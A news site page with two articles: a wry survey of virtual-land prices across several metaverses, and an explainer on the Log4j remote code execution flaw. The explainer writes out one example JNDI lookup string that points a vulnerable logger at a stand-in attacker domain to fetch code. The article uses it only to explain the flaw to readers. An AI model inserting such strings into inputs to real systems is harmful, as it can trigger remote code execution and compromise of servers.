Image: Archi Banal
Image: Archi Banal

InternetDecember 17, 2021

Priced out of the local housing market? Try moving online

Image: Archi Banal
Image: Archi Banal

As homeownership becomes a pipe dream for more and more people, some are turning their attention to virtual real estate. For IRL, Josie Adams investigates how to buy land in the metaverse.

Many of us have given up on the quarter-acre dream. The reasons why have been covered extensively. Homeownership has become such a nightmare that, for some, the dream has changed; a quarter-acre NFT is the next big thing. We are at the beginning of a new epoch, one where abject dystopias like those in The Matrix, Snow Crash and Surrogates seem like nice alternatives to renting forever and drowning penniless in the floods of changing climate.

We can choose to live out our horrible earth-bound fates, or we can spend our meagre life savings on a small patch of pixels online in the hope that one day we can send our minds to live there, like a shitty Sim, while our bodies are sustained in a Jucy snooze pod getting pumped full of Soylent.

That’s right, you can buy real estate in the metaverse. Not Zuckerberg’s – yet – but a large number of virtual worlds are springing up with virgin lands ripe for settlement. A small house in Upland’s version of Chicago will set you back only about $7. At the other end of the scale, a large estate in Decentraland was just bought for $4 million. So where, and what, can you buy? And what’s the point, anyway?

Decentraland

The graphics are about on par with Runescape, but this is the metaverse du jour. Investors are pouring money into places like Fashion Street, which true believers feel could be the equivalent of buying New York’s Fifth Avenue two hundred years ago.

Decentraland has been around since 2015, and its associated cryptocurrency – MANA – has been considered a sound investment (relative to most cryptocurrency) for a while. This year its price spiked 265% after Mark Zuckerberg announced a Facebook metaverse, proving people want in on this kind of technology, and they’re not going to wait around for Zuck to start renting his cyber meeting rooms.

Unfortunately, it might be too late for the plebians to get in on the ground floor. The cheapest plot of land I could find in the whole ‘verse cost NZ$15,000 (3,195 MANA). Here is a picture of it.

A $15,000 property in Decentraland. (Screenshot: Josie Adams)

Sandbox

The Sandbox is an up-and-coming metaverse marketplace. The cheapest parcel of land currently for sale is going for just over 2 ETH, or $10,000. It was originally minted four months ago. Since then it’s changed hands four times. Interestingly, the price hasn’t shot up – it was originally sold for about $15,000.

You’ll notice these land parcels are sold on NFT marketplaces. This is because Web3 – a hot new version of the internet that lurks on the horizon – is a key part of why people are investing in the metaverse. The whole idea of Web3 is to take power back from big companies like Facebook and Google; people can own their own data and make their own purchases through the alleged wonders of blockchain technology.

Unfortunately, it’s hard for individuals to have power without money; and while $10,000 is much more affordable than a house in Wellington, it’s a big gamble for those of us living paycheque to paycheque. Especially when, you know, you can’t actually live there. Perhaps you could buy some SAND coin and hope the value spikes like MANA did.

Somnium Space

This one has the coolest name, and is partially owned by Zuckerberg’s nemeses, the large and in charge Winklevossi. These two things alone are indicators of a bright future. You can buy a little 200 square-metre section (with workable building height limits) for just over $7,000. You could buy the body of Flipper the penguin to wear as you walk around your section for about $5,000. You can buy a whole “small world” to program and customise as you like for just $6,000.

Flipper is an avatar you can buy for your new life in Somnium Space. (Screenshot: Josie Adams)

Somnium is affordable compared to other metaverses, but appears to have just as much potential: it’s designed as a virtual-reality game, and doesn’t put on airs that it’s anything fancier. Finally, you can wear a headset and call yourself Flipper and run around a planet of your own design, just like all those dystopias promised.

Upland

Upland is an entry point into the world of virtual real estate – it’s not pretending to be anything other than a property trading game. You don’t even need a special crypto wallet to access it. Sign up and get 4,000 UPX (worth roughly one New Zealand dollar) just for joining. However, in order to buy anything you need to upgrade your visa from “visitor” to “uplander” – ie, have more than 10,000 UPX in the bank.

Upland, despite having extremely minimal function and graphics (it’s basically just a map), is more in line with what most people imagine the metaverse to be: it’s a replica of our own world. Unfortunately, the ability to digitally colonise new lands hasn’t yet spread outside of the US, so owning a home in Auckland is still unattainable.

The most expensive piece of land available is a house on Drifts Drive in Bakersfield, California. It’s going for 100,000,000 UPX, or just over $20,000.

The most expensive property in Upland is in digital California, and has a nice view of a van. (Screenshot: Josie Adams)

You can use fiat currency to buy UPX in-game: 5,000 UPX for $7. Upland seems more targeted at collectors than those looking to buy an actual virtual home, or even build a virtual business, so unless you’re a very wealthy Monopoly enthusiast I would suggest you don’t spend real money on it.

Second Life

One of the oldest metaverses is also among the most affordable. The past year’s hype around metaverses has largely been boosted by cryptocurrency fans; Second Life is too old-fashioned for them. And because you need to pay for membership to the world, you get some money and land to do with what you will. That’s right, for just US$11.99 a month you get a piece of land and a weekly stipend of L$300 – that’s Linden dollars, a currency you can only use inside Second Life.

If you’d like to expand your patch you can buy some land from your fellow users, too; the most expensive spot up for auction right now is a 1792 m² parcel, sitting at about $35.

We’re entering a new age of exploration, with virtual worlds on the cusp of transformation. So far we’ve turned them into exercise routes and office meeting rooms, in part because those buying up large tracts of the metaverse are investment companies looking to expand their own worlds instead of building a new one.

Not in Second Life, where there are multiple bars dedicated to furries and you can fight other players to death. If metaverses are truly meant for the masses, as an escape from an increasingly restrictive real world, this is the kind of place to invest in.

Keep going!
Image: Archi Banal
Image: Archi Banal

InternetDecember 16, 2021

Inside the security breach throwing the IT world into a panic

Image: Archi Banal
Image: Archi Banal

A new software vulnerability in a tool called Log4j has set the internet on fire as experts try to assess the impact and shore up their systems. Dylan Reeve explains the finer details for IRL

The latest security issue to sweep the internet has a perfect 10 out of 10 score for badness. That is, the newly discovered vulnerability in Log4j is considered as bad as it gets and may see many cybersecurity experts cancelling Christmas. 

“In the 15 or so years that I’ve been working in cybersecurity, this is probably the worst vulnerability I’ve seen,” said Adam Boileau, executive director of security testing and assurance at cyber security company CyberCX. “It’s one of the most interesting technically. The impact is not yet at the scale of NotPetya or Wannacry … but it will probably exceed them.”

We are constantly surrounded by technology, and it’s all at risk of security flaws. As these flaws are identified, they’re assessed with a Common Vulnerability Scoring System (CVSS) score from 0.1 (Pfft, whatever) to 10 (OMG! Everything is on fire!!).

Security issues with a CVSS score of 10 aren’t that unusual, but they usually pop up in somewhat obscure pieces of software where the impact is limited. They’re also often fixed before anyone even realises they exist. 

But the new Log4j vulnerability is different. Firstly it is a “0-day” vulnerability, meaning the software’s makers have had zero days to fix it: the world found out about it at the same time the developers did. Secondly, it’s very widespread. In fact, it’s so widespread that no one really even knows how many products and services are affected. 

It is basically a worst case scenario: a very dangerous vulnerability, spread widely and being actively exploited right away.

In cybersecurity nerd speak, the Log4j bug is a remote code execution vulnerability. In short, this means someone (an attacker) can exploit a bug in the software to cause a program of their own design to run on a remote computer system or device. Once you can run your code on someone else’s computer, you can do pretty much anything you want.

Adam Boileau at CyberCX says this is the worst vulnerability he’s seen in his career. (Photo: supplied)

But taking it back a couple of steps, it’s useful to understand why Log4j, a software tool almost no one had heard of a week ago, is suddenly so critical.

Log4j is a software library — essentially a pre-made piece of computer code that can be incorporated into software by programmers to help them add functionality without having to reinvent the wheel. In this case it’s a library for logging, which is a very important aspect of programming. Log4j is a logging library for the Java programming language — Log4j = “logging for Java”, see? — that has been used by almost all Java programmers for years. Logging allows a programmer to have their software generate a “log file” which contains important information about, for example, what user logged in, and when; what files were sent and received; what errors were encountered. 

All these logs are necessary to help users keep track of what the software is doing, and they also help developers figure out problems that have occurred with the software when it’s being used. 

The bug in Log4j comes thanks to a feature in the library that allows it to parse special instructions in the log messages. One of these special instructions can be used to tell the library to contact an external server in order to get additional information. It’s a fairly niche feature that most of the programmers using Log4j would never have even known about, but it meant that, in theory, anyone could potentially force this logging library, embedded deep inside countless programs, to reach out to the internet and get a piece of data.

Anytime Log4j is told to log a specially formatted piece of text —“${jndi:ldap://dangerous.zyx/code}”, for example — it parses that as an instruction to contact a remote server in order to receive a piece of information. It will reach out to the server, dangerous.zyx in this case, and ask it for /code. It will then process whatever response it gets. If you, as an attacker, control the domain name dangerous.zyx then you can send back instructions that will be carried out by whatever computer the message was logged on. 

The Java installer used to advertise that 3 billion devices run Java. (Image: Dylan Reeve)

Because software tends to do a lot of logging, something as simple as a carefully constructed username may be enough to trigger exploitation, or even just typing the special instruction in chat. If you can access a server or piece of software at all, there’s a good chance you can get it to log some piece of information you provide.

The other complication with this vulnerability is just how widely used Java is, and thus how widespread Log4j is. Java is very common in complex business applications, servers and even the software that runs inside hardware devices like modems, kitchen appliances and printers. Even software that isn’t written in Java may rely on services or components that are. There are examples of this vulnerability being present in countless places including Facebook, Apple’s iCloud, Minecraft and even devices like smart watches, cars and connected appliances.

Even systems that don’t include any Java themselves may still present a vulnerability to this bug. “In many situations, messages from one part of a business system are passed on to other systems,” explained CyberCX’s Boileau. “We’ve seen cases where a front end system wasn’t vulnerable, but it reported data into an internal database, which also wasn’t vulnerable, but then that data was later displayed in a desktop application that was vulnerable.” 

Every piece of software or hardware will have its own specific risks, and the process for determining risk can be complicated and time consuming. Various simple tests have been created, but the results won’t always be definitive and often further investigation or fixes will be necessary before any given system or device can be given a clean bill of health.

The big names, like Facebook, Google, IBM, Microsoft and Apple, acted within hours to mitigate potential harms within their core services. But for thousands of other software applications, the fixes may be a long time coming, and for millions of vulnerable hardware devices it’s possible a fix will never come. 

Log4j source code.

While this bug poses huge risks to corporate and enterprise customers, the risk to home users is probably more limited, according to Boileau. “Java hasn’t been popular in home computing for a while,” he said. “Most people with a modern computer probably aren’t going to be using much Java. Minecraft is the most obvious exception.” That’s right gamers, your Minecraft is possibly at risk.

However, as always, the advice to frequently update software remains a key first step in staying secure.

Less than a week into this specific security issue, it’s still unclear what potential harms could be waiting or how widely the impact will ultimately be felt, but many experts seem to think things will get worse in the coming weeks. It’s also likely that this flaw will have a very long tail, with many programs and devices even remaining vulnerable until they’re eventually scrapped entirely one day.

According to Boileau, most large enterprises and government agencies in New Zealand are already in the process of assessing and mitigating their risk. For smaller businesses, without dedicated IT and cybersecurity teams, his advice is to pay attention to the evolving advice. “There will be specific advice coming out frequently over the next few weeks or months about what products are at risk of being attacked, and what should be done,” he said. “Smaller businesses should be watching those closely and doing what they can to take whatever steps are recommended.” 

“If you know you have a Java application that isn’t critical, just turn it off,” Boileau added.